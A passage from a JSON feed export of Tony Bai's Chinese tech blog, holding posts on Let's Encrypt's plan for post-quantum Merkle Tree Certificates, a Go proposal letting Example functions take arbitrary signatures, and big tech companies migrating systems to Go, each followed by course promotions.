href=\"https://tonybai.com/2026/06/10/the-story-of-cpp\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/10/the-story-of-cpp\"\u003ehttps://tonybai.com/2026/06/10/the-story-of-cpp\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果将人类现代软件工业比作一部庞大的机器，那么支撑其运转的最核心骨架中，无疑很大一部分由**C++**支撑。从你手中的智能手机操作系统、每天刷的短视频推荐引擎、华尔街每秒百万次的高频交易系统，到驱动大语言模型（LLM）的底层算力矩阵，C++ 几乎无处不在。\u003c/p\u003e","title":"C++ 的权力游戏：一部关于妥协、背叛与重生的“史诗神剧”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/10/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security\n大家好，我是Tony Bai。\n当你在浏览器地址栏看到那把绿色的小锁，或是敲下 https:// 时，你正在被人类历史上最伟大的密码学基础设施——Web PKI（公钥基础设施）保护着。\n长久以来，这套系统的基石是 RSA 和 ECDSA 签名算法。它们精巧、高效，扛住了互联网过去几十年的爆炸式增长。然而，一场风暴正在逼近。\n随着量子计算机的发展，悬在所有密码学家头顶的“达摩克利斯之剑”——CRQC（密码学相关的量子计算机），其倒计时正在被各大科技巨头疯狂拨快。\n近日，全球最大的免费 HTTPS 证书颁发机构 Let’s Encrypt 发布了一篇声明：《Let’s Encrypt 的后量子未来》。在这份声明中，Let’s Encrypt 不仅拉响了后量子时代的警报，更抛出了一个足以重塑整个互联网底层通信逻辑的终极杀手锏：MTCs（Merkle Tree Certificates，默克尔树证书）。\n为什么传统的 RSA 和 ECDSA 会被淘汰？为什么直接换上标准的后量子算法会导致整个互联网“网速倒退”？今天，我们就来深度硬核拆解 Let’s Encrypt 这场惊心动魄的“后量子求生战”。\n倒计时缩短：为什么认证（Authentication）的危机突然爆发了？ 在讨论后量子密码学（Post-Quantum Cryptography, PQC）时，我们通常要区分两个概念：加密（Encryption / 密钥交换）和认证（Authentication / 签名）。\n过去几年，业界对后量子“加密”极为焦虑。原因很简单：“现在收集，以后解密（Harvest now, decrypt later）”。攻击者现在就可以把你加密的流量存进硬盘，等 10 年后量子计算机成熟了，再拿出来暴力破解。因此，像 Google、Cloudflare 这样的巨头早已在各大浏览器和服务器中部署了混合后量子密钥交换算法（如 X25519MLKEM768）。\n相比之下，“认证”似乎没那么紧迫。\n因为证书签名的作用是证明“我是我”。要伪造一个服务器身份，量子计算机必须在 TLS 握手的几百毫秒内**实时（in real time）**伪造出一个签名，而不能“事后追溯”。因此，大家都觉得，只要 CRQC 还没造出来，签名就是安全的。\n但这种安全感正在被撕裂。\n政策强制清退：美国国家安全局（NSA）的 CNSA 2.0 套件明确规定，必须在 2035 年之后全面禁用 RSA-2048 和 P-256。欧盟也出台了类似的路线图。由于各种底层依赖库、根证书的更替周期极长，生态系统实际上已经被逼到了悬崖边。 巨头的极限施压：2026 年初，Google 震撼宣布，将在 2029 年之前全面迁移其服务；紧接着 Cloudflare 也做出了同样激进的承诺。Go 语言（1.27 版本）甚至直接将 NIST 标准化的后量子签名算法 ML-DSA 塞进了标准库。 警报拉响了，留给 Web PKI 生态转身的时间，已经从“未来某天”缩短到了“迫在眉睫”。\n灾难推演：为什么直接换算法，会让互联网网速倒退？ 面对量子威胁，最直接的思路就是：既然 RSA 和 ECDSA 不顶用了，咱们直接把它们替换成 NIST（美国国家标准与技术研究院）最新发布的后量子标准算法 ML-DSA 不就行了吗？\n答案是：不行！因为太胖了。\nWeb PKI 是全球部署环境最复杂的系统之一。在一次典型的 TLS 握手（就是你建立 HTTPS 连接的那一瞬间）中，服务器需要向你的浏览器发送大概 5 个签名和 2 个公钥。\n让我们来看看这场**“体积灾难”**的对比（参考官方给出的图表）：\n目前的 ECDSA-P256：签名大小仅为 64 字节。公钥只有区区 64 字节。整个握手的认证数据大概只有几百字节。 后量子时代的 ML-DSA-44：哪怕是最小的规格，其一个签名的大小也高达 2,420 字节！公钥大小飙升至 1,312 字节！ 如果我们在现有的 Web PKI 架构下，简单粗暴地把所有的 ECDSA 替换成 ML-DSA，那么单次 TLS 握手的数据量将直接突破 10 KB（10,000 字节）大关！\n这会带来什么毁灭性的后果？\nCloudflare 的硬核研究表明，当 TLS 握手体积膨胀到这个规模时，由于 TCP 拥塞窗口机制和网络 MTU 的限制，大量真实世界的网络连接将直接失败（Fail），而幸存下来的连接也会遭遇严重的延迟。\n试想一下，全球数十亿台低带宽的物联网设备、偏远地区的手机，在每一次发起 HTTPS 请求时都要被迫下载十几 KB 的“肥胖”证书。这种为了“防御一个尚未出现的威胁”而牺牲全人类网络体验的做法，在工程上是绝对不可接受的默认设定。\n破局杀招：Let’s Encrypt 押注 MTCs（默克尔树证书） 在绝望之中，Let’s Encrypt 和一众硅谷巨头找到了一个极其优雅且疯狂的解法——Merkle Tree Certificates（MTCs）。\n这个机制不仅解决了签名体积过大的问题，还顺手重塑了证书透明度（Certificate Transparency, CT）的底层逻辑。\n1. 放弃“一人一签”，改用“批量打包” 在现有的 Web PKI 中，CA（证书颁发机构）在签发证书时，会对每一张证书单独进行一次签名。\n而 MTCs 彻底颠覆了这个逻辑：\nCA 不再对单个证书签名，而是把一段时间内（比如一个小时）要签发的所有证书，收集起来构建成一棵 Merkle Tree（默克尔树）。然后，CA 只需要用后量子算法（如 ML-DSA），对这棵树的树根（Root）进行一次唯一的签名。\n2. 浏览器如何验证？ 既然没有单独的签名了，你的浏览器怎么知道你访问的网站证书是合法的呢？\n这里利用了默克尔树的密码学奇迹——包含证明（Inclusion Proof）。\n浏览器（或客户端）会在后台定期更新 CA 发布的“树根”信息（被称为 Landmarks）。当浏览器访问服务器时，服务器只需要提供一条从自己这片“叶子”走到“树根”的路径（包含证明）。\n因为哈希算法生成的包含证明（如 SHA-256）体积非常小（通常只有几百字节），所以在这种常见情况（Common Case）下，一次 TLS 握手的认证数据：\n1 个短小精悍的包含证明 + 1 个公钥 + 0 个笨重的后量子签名！\n在传统的 PQ（后量子）架构下，开销高达 7,260 字节；而采用了 MTCs 后，瞬间被压缩到了 736 字节，性能甚至直逼现有的传统算法。\n这个体积甚至比今天基于 RSA/ECDSA 的传统握手还要小！这种从“胖子”变“瘦子”的降维打击，正是 MTCs 被奉为救星的根本原因。\n3. 天生自带的“透明度” 现有的证书生态里，证书透明度（CT Logs）是一个事后缝合的“补丁”：CA 签发证书后，需要把它记录到一个单独的 append-only 日志系统中，并把签名附在握手数据里。\n但在 MTCs 的世界里，“这棵默克尔树本身，就是那个追加日志（Append-only Tree）”！\n由于每一张证书都必须存在于默克尔树中才能生效，这意味着没有任何一张 MTCs 证书可以脱离监控而秘密存在。CT 机制被完美、原生在地融入了底层协议中。\n这对于 Let’s Encrypt 来说可谓是得心应手，因为他们自 2019 年以来就一直在维护基于底层树数据结构的 CT 日志，技术储备早已拉满。\n路线图与影响：给开发者的终极指南 Let’s Encrypt 宣布，他们正计划在 2026 年末提供 MTCs 的测试环境（Staging），并在 2027 年正式推向生产环境（Production）。\n这是 Web PKI 历史上一次规模浩大的“基础设施更换手术”。作为开发者和系统运维人员，这几个关键点你必须立刻了解：\n目前不用慌，但要保持关注：今天，你依然可以像以前一样，通过 Let’s Encrypt 免费、自动地续签你现有的 RSA/ECDSA 证书。 底层协议正在疯狂博弈：IETF 的 PLANTS 工作组正在紧锣密鼓地制定 MTCs 的标准。如果你维护着类似于 certbot 这样的 ACME 客户端，或者负责底层的证书签发管道，现在是时候去查阅 mtcs@chromium.org 邮件列表并跟进 draft-ietf-tls-mldsa 草案了。 不要忘了“加密”危机：虽然 Let’s Encrypt 正在通过 MTCs 解决“认证”问题，但文章结尾发出了严厉警告：后量子“加密（Encryption）”危机是当下最紧急的问题！ 作为服务器的运营者，你现在必须立刻行动：检查你的 Web 服务器（如 Nginx, Envoy, Caddy等）和操作系统配置，确保已经开启了混合后量子密钥交换（如 X25519MLKEM768）。 所有的主流浏览器现在都已经支持它，这是你今天能做的 ROI 最高的安全升级！\n小结：一场不计代价的世代更替 从 2013 年 Let’s Encrypt 创立至今，他们始终秉持着一个信念：安全应该是全球每个人都能平等获取的基础权利。\n从推动全网 HTTPS 普及，到如今在量子威胁的阴影下，不惜重构庞大底层架构以推行 MTCs，这场无声的战役，不仅是算力与算法的博弈，更是人类为了守护数字世界的信任基石，所进行的一次史诗级防守反击。\n达摩克利斯之剑已经落下，但得益于这些密码学极客的疯狂努力，当风暴真正来临的那一天，我们浏览器的左上角，那把绿色的小锁，依然会坚定地亮起。\n资料链接：https://letsencrypt.org/2026/06/03/pq-certs\n今日开放讨论：\n当 MTCs（默克尔树证书）将证书透明度（CT）彻底融入底层结构时，你认为它会对现有的防火墙流量审计（如企业内网对 TLS 的中间人解密审计）带来哪些阻碍和变化？\n欢迎在评论区分享你的安全架构洞察，我们一起探讨后量子时代的网络防线建设！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/10/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/10/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/10/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security\"\u003ehttps://tonybai.com/2026/06/10/lets-encrypt-adopts-mtcs-preparing-for-post-quantum-security\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e当你在浏览器地址栏看到那把绿色的小锁，或是敲下 https:// 时，你正在被人类历史上最伟大的密码学基础设施——Web PKI（公钥基础设施）保护着。\u003c/p\u003e","title":"RSA 将死？Let’s Encrypt 押注 MTCs 迎战后量子时代"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/09/go-proposal-examples-to-support-arbitrary-function-signatures\n大家好，我是Tony Bai。\n在 Go 语言的开发日常中，编写 ExampleXxx 示例代码不仅是完善文档的必经之路，更是一门绝佳的“活文档”艺术。\n通过在 “_test.go” 文件中编写以 Example 开头的函数，并在末尾加上 // Output: 注释，Go 官方的 go doc 和 pkgsite 就能在网页上直接渲染出可交互、可直接在浏览器中运行（Playable）的示例代码。\n然而，在这个看似优雅的设计背后，却隐藏着一个让全球 Go 工程师如鲠在喉、折磨了大家近十年的**“硬伤”**：Go 官方对 Example 函数的签名有着极其死板的限制——它必须是无参、无返回值的空函数。\n为了这个限制，我们在写文档示例时，不得不写出大量极度违背 Go 地道（Idiomatic）编程哲学的样板代码。\n为了彻底拔掉这根刺，Go 编译器团队核心成员Damien Neil (neild)提交了一项被称为“大一统”的提案——Issue #79808：允许 Example 示例支持任意函数签名！\n这项提案不仅终结了社区自 2017 年以来的长期争论（#21111 与 #64993），更用一种极其巧妙且务实的“解耦设计”，为 Go 语言的文档生态减负。\n历史的疮疤：为了写好一个示例，我们被迫说了多少“废话”？ 在真实的 Go 工程中，几乎所有的文件读写、网络调用都会返回 error。按照 Go 的地道写法，当我们调用一个可能失败的函数时，最自然的反应是直接将错误向上抛出：\n// 我们真正希望在文档里向用户展示的地道写法 func ExampleReadFile() error { data, err := os.ReadFile(\u0026#34;config.json\u0026#34;) if err != nil { return err // 优雅直接 } fmt.Println(string(data)) return nil } 但是，在目前的 Go 版本中，这行不通！ 因为 Example 函数不允许有任何返回值。\n为了写出一个能通过 go test 验证的示例，你被迫在你的示例代码中写满各种“废话”：\n// 迫于规则，我们不得不写出的妥协版本 func ExampleReadFile() { data, err := os.ReadFile(\u0026#34;config.json\u0026#34;) if err != nil { log.Fatal(err) // 或者使用更难看的 panic(err) } fmt.Println(string(data)) // Output: { \u0026#34;port\u0026#34;: 8080 } } 这带来了一个极其糟糕的引导效应：新手在阅读官方文档时，会误以为在业务代码中遇到错误就应该直接 log.Fatal 或 panic。 示例代码不仅没能展示出 Go 语言优雅的错误处理哲学，反而成了不良编码习惯的传染源。\n此外，当你在编写测试框架（Test Framework）或者使用 Go 新版引入的 synctest 虚拟时钟技术时，你必须拿到底层的 *testing.T 对象。但由于 Example 函数不能有入参，你根本无法写出一个可以传递 t *testing.T 对象的示例代码。\n十年博弈：从 #21111 到 #64993 的宿命碰撞 为了解决这两个痛点，Go 社区实际上进行了两场旷日持久的战役：\n战役 1：允许 Example 返回 error（#21111 – 始于 2017 年） 早在 2017 年，大牛 rogpeppe 就提出了这个想法。但当时官方为了等待 Go 2 的整体错误处理方案（Error Handling Draft）而将其无限期搁置。随着 Go 错误语法提案被无限期延迟，这个 hold 也终于在近年被拿掉。\n战役 2：允许入参带上 *testing.T（#64993 – 始于 2024 年） 随着多智能体测试和 synctest（需要虚拟时间同步）等现代测试技术的发展，开发者越来越需要展示涉及 testing.T / testing.B / testing.F 的完整用例。但因为不支持入参，大家不得不写出复杂的 Stub（伪造类）去强行拼凑。\n大一统方案 #79808：允许任意函数签名的 Example！ 面对这两个互相纠缠、细节极其复杂的提案，Go 核心团队的 neild 指出，之前的讨论之所以陷入死胡同，是因为大家把 “文档如何展示示例（Rendering）” 与 “测试框架如何运行示例（Execution）” 混为一谈了。\n如果我们彻底将这两者解耦呢？\n在 Issue #79808 中，他提出了一个近乎完美的极简方案：对 Example 函数的签名彻底放开限制。\n1. 规则大解放 只要你的函数命名符合 Example 或 ExampleXxx（且首字母大写），go doc 和 pkgsite 就会一律无条件地将其作为示例代码在网页上展示出来！\n无论你的函数长成什么样：\npackage example_test // 场景 A：优雅返回 error，不再需要 log.Fatal func Example_returning_an_error() error { f, err := os.Open(\u0026#34;testfile\u0026#34;) if err != nil { return err } defer f.Close() return nil } // 场景 B：支持传入 testing.T，测试框架类的完美示范 func ExampleFunc_taking_a_t(t *testing.T) { if err := examplepackage.Func(t); err != nil { t.Fatal(err) } } // 场景 C：甚至可以带上输入输出参数 func Example_in_and_out(a, b int) string { return examplepackage.AddReturningString(a, b) } 2. 完美的运行防线 如果放开了签名限制，go test 怎么运行它们？\n对于有参数或返回值的 Example：testing 包一律不自动运行它们。这极大地简化了测试运行器的复杂度，避免了处理带有复杂入参的函数执行。 防止混淆：如果一个 Example 带有入参或返回值，但你却在末尾写了 // Output: 注释，go test 会直接抛出编译期错误，防止开发者产生误解。 如何跑测试？：如果你依然希望在测试中运行这些复杂的示例，非常简单，写一个伴随的 Test… 函数手动调用它即可： func TestExample_returning_an_error(t *testing.T) { if err := Example_returning_an_error(); err != nil { t.Fatal(err) } } 小结：让代码回归纯粹 从这个跨越十年的提案博弈中，我们能清晰地感受到 Go 团队的实用主义工程哲学：\n他们没有为了解决问题而去创造一套复杂的、充满各种边界特例的编译器黑魔法，而是通过**“将文档展示与执行引擎完全剥离”**这一解耦思路，在不增加运行时负担的前提下，完美解决了长期折磨开发者的体验难题。\n让文档回归原本纯粹的模样，让代码不再为古板的规则而妥协。这也是 Go 语言吸引系统工程师的魅力所在。\n资料链接：\nhttps://github.com/golang/go/issues/21111 https://github.com/golang/go/issues/64993 https://github.com/golang/go/issues/79808 还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/09/go-proposal-examples-to-support-arbitrary-function-signatures/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-proposal-examples-to-support-arbitrary-function-signatures-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/09/go-proposal-examples-to-support-arbitrary-function-signatures\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/09/go-proposal-examples-to-support-arbitrary-function-signatures\"\u003ehttps://tonybai.com/2026/06/09/go-proposal-examples-to-support-arbitrary-function-signatures\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言的开发日常中，编写 ExampleXxx 示例代码不仅是完善文档的必经之路，更是一门绝佳的“活文档”艺术。\u003c/p\u003e\n\u003cp\u003e通过在 “_test.go” 文件中编写以 Example 开头的函数，并在末尾加上 // Output: 注释，Go 官方的 go doc 和 pkgsite 就能在网页上直接渲染出可交互、可直接在浏览器中运行（Playable）的示例代码。\u003c/p\u003e","title":"终结十年纠结：Go 新提案允许 Example 支持任意函数签名"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/08/the-real-reason-big-tech-is-switching-to-go\n大家好，我是Tony Bai。\n在软件工程中，核心技术栈的迁移是一项高风险、高成本的决策。\n然而，在近期的技术演进中，我们看到了一股明显的趋势：全球科技巨头与快速成长的 AI 独角兽们，正在不约而同地将核心系统向 Go 语言（Golang）收敛。\n微软宣布将 TypeScript 核心编译器移植到 Go，构建速度暴涨 10 倍。 Reddit将庞大的 Python 单体架构逐步解耦，核心数据模型全面改用 Go 重写。 Lovable（前沿 AI 独角兽）将 4.2 万行 Python 代码移植为 Go，服务器实例直接从 200 个锐减到 10 个。 Uber作为长期拥有最庞大 Go 代码库的企业之一，持续将后端服务从 Python、Node.js 收敛、统一至 Go 语言，以极低的算力成本承载海量并发。 这并非盲目的技术跟风，而是一场基于运行成本、高并发能力和工程维护性的理性重构。今天，我们就通过这些大厂的真实工程案例，深入拆解大厂重构核心系统时，集体投向 Go 的底层逻辑与技术启示。\n微软的编译器移植：为什么 C# 之父不选 C# 和 Rust？ 2025 年 3 月，微软宣布将 TypeScript 的编译器和工具链移植到 Go 语言。到了 2026 年 4 月，采用 Go 编译器底层的 TypeScript 7 Beta 正式发布。\n令人瞩目的是，这个项目的操盘手正是 Anders Hejlsberg —— C# 语言的设计者与 TypeScript 的创造者。\n这一决策在技术社区引发了深度探讨：为什么微软不用自家的 C#，也没有选择近年来大热的 Rust？这背后隐藏着极具启发性的工程权衡。\n明确“移植（Port）”与“重写（Rewrite）”的边界 在工程决策中，这两者有着本质区别：\n完全重写（Rewrite）：意味着抛弃旧代码，从零开始重新设计（New Design），风险极高。 代码移植（Port）：翻译现有代码，保持原有的代码结构和行为（Same behavior \u0026amp; structure），风险可控。 旧的 TypeScript 编译器是用函数式风格编写的，且重度依赖垃圾回收（GC）。\n为什么不选 C#？C# 是典型的面向对象（OOP）语言。如果使用 C#，将很难平滑移植函数式风格的旧编译器，几乎等同于要推倒重写。 为什么不用 Rust？Rust 没有垃圾回收机制，要求开发者手动且极其严苛地管理内存。如果改用 Rust，团队必须彻底推翻并重新设计整套代码的内存生命周期，这直接背离了“平滑移植”的初衷。 Go 为什么是最佳折中方案？ Go 既支持原生编译，拥有极高的运行速度，同时还内置了高效的垃圾回收（GC）。\n更关键的是，习惯写法的 Go 代码（Idiomatic Go）在结构上与 TypeScript 原有的编码模式有着天然的相似性。这使得原有团队在维护移植后的 Go 代码时，几乎没有认知摩擦。\n移植后的性能收益：\n编译构建速度直接提升了 10 倍。 编辑器加载时间从原来的 9.5 秒缩短至 1.2 秒。 微软用事实证明：Go 是在维持原有代码结构的前提下，实现性能跨越式提升的最短路径。\nReddit 的解耦之路：高并发压力下的“影子测试” Reddit 曾长期使用 Python 单体（Monolith）架构。随着全球流量的爆发，单体架构的弊端逐渐显现：代码耦合严重、可靠性降低，系统维护成本极高。在高峰期，甚至连发帖、评论等基础操作都会遭遇严重的延迟。\n为了解决高并发瓶颈，Reddit 决定对核心的四大基础特性（评论、账户、帖子、子社区）进行解耦，全部用 Go 语言重写为独立的微服务。\n为什么选择 Go？ 在高并发场景下，Go 内置的轻量级协程（Goroutine）和通道（Channel）调度模型，相比于 Python 的多线程/多进程，能够以更低的系统开销和更少的网络协调，抗住同等规模的流量。\n零故障上线的“影子测试（Shadow Testing）” 系统重构最忌讳“一刀切”式的直接上线。Reddit 采用了一套精妙的过渡方案：\n他们让 Python 旧单体与 Go 新服务在后台同时运行。对于每一次写入请求，两个系统都会收到相同的输入。Go 服务将数据写入一个隔离的测试数据库。\n┌───────────────┐ │ User Input │ └───────┬───────┘ │ ┌─────────┴─────────┐ ▼ ▼ ┌─────────────────┐ ┌─────────────────┐ │ Python Monolith │ │ Go Services │ └────────┬────────┘ └────────┬────────┘ ▼ ▼ ┌─────────────────┐ ┌─────────────────┐ │ Production DB │ │ Test DB │ └─────────────────┘ └─────────────────┘ │ │ └─────────┬─────────┘ ▼ Compare \u0026amp; Debug Output 通过在后台持续对比两个系统的输出结果，团队在不影响真实用户的前提下，排查并修复了新服务中的所有潜在 Bug。确认无误后，才 100% 将流量平滑切换到了 Go 服务。\n重构后的收益：\n关键写入操作的 P99 延迟直接砍半，系统高可用性大幅提升。 运行成本与算力优化：Lovable 与 Uber 的工程实践 对于快速成长的 AI 独角兽 Lovable 来说，技术栈的选择直接关系到服务器账单和业务存亡。\n作为一个允许非技术用户通过 AI 构建应用的平台，Lovable 在核心链路上面临着极高并发的挑战。用户发送一条聊天指令，后台需要瞬间触发超过 50 个 HTTP 并发调用，分别去请求各大模型提供商、内部存储及周边服务。\nPython 在这种高度并行的 IO 密集型场景下显得力不心。Lovable 团队果断将 4.2 万行 Python 代码重写为 Go。\n无独有偶，Uber 作为长期拥有最庞大 Go 代码库的企业之一，也曾经历过从 Python、Node.js 向 Go 逐步收敛的过程。为了在单机上压榨出更高的并发能力，减少冗余的服务器开销，Uber 逐步在后端服务中停用了 Python，将核心服务统一收敛至 Go。\n这两家公司，用 Go 实现了令人惊叹的算力优化：\n小结：大厂系统重构释放的工程信号 这些大厂和独角兽们的集体实践，为我们释放了清晰的工程信号：\n“运行成本”正成为系统重构的首要驱动力\n在项目初期，动态语言（如 Python、TypeScript）确实能提供极佳的开发爽感。但当业务规模扩大、高并发场景增加时，其带来的服务器硬件成本和维护开销将呈指数级上升。 Go 处于“开发效率”与“运行性能”的黄金分割点\n它不像 Rust 那样有着极其陡峭的内存管理和所有权学习曲线，能够让团队保持极高的开发效率；同时，它又拥有接近原生代码的执行速度，和冠绝群雄的轻量级并发模型。这使其成为了现代生产级后端服务的首选。 大厂的重构实践，为我们提炼了以下三条黄金工程铁律：\n分清“移植”与“重写”：在系统重构时，若想在保留原有业务逻辑的前提下快速提升性能，像微软那样进行代码级移植（Port）是风险最低、效率最高的路径。 善用“影子测试（Shadow Testing）”：核心系统解耦和替换时，切忌盲目上线。采用双轨并行、对比输出的影子测试，是保障系统平滑过渡、零故障上线的最佳实践。 高并发场景首选轻量并发模型：当系统面临大量并发 IO（如 AI 编排、多 API 协同调用）时，Go 语言的协程机制能够以极低的资源消耗提供极佳的吞吐量。 系统重构的本质，是在业务发展、团队认知和机器成本之间寻找最优解。而 Go，正是大厂在经历数次工程实践后，给出的最务实的答案。\n资料链接：https://www.youtube.com/watch?v=-Z813pHqSFI\n今日开放讨论：\n微软不用 C# 也不用 Rust，而是选择 Go 来移植 TS 编译器，这个决策中的“移植 vs 重写”权衡是否启发了你？ Reddit 采用的“双轨制影子测试”非常稳健，你在实际的系统迁移或重构中，使用过类似的测试方案吗？ 从 Lovable 将 200 个实例缩减为 10 个，到 Uber 节省 97% 的算力，这些真实的性能与成本数据是否改变了你对后端技术选型的看法？ 欢迎在评论区留下你的硬核观点，我们一起探讨系统重构与 Go 的工程之美！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/08/the-real-reason-big-tech-is-switching-to-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/the-real-reason-big-tech-is-switching-to-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/08/the-real-reason-big-tech-is-switching-to-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/08/the-real-reason-big-tech-is-switching-to-go\"\u003ehttps://tonybai.com/2026/06/08/the-real-reason-big-tech-is-switching-to-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件工程中，核心技术栈的迁移是一项高风险、高成本的决策。\u003c/p\u003e\n\u003cp\u003e然而，在近期的技术演进中，我们看到了一股明显的趋势：全球科技巨头与快速成长的 AI 独角兽们，正在不约而同地将核心系统向 Go 语言（Golang）收敛。\u003c/p\u003e","title":"2026年，大厂重构核心系统为何集体投向 Go？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/07/gaokao-in-the-age-of-ai-is-the-top-tier-degree-worthless\n大家好，我是Tony 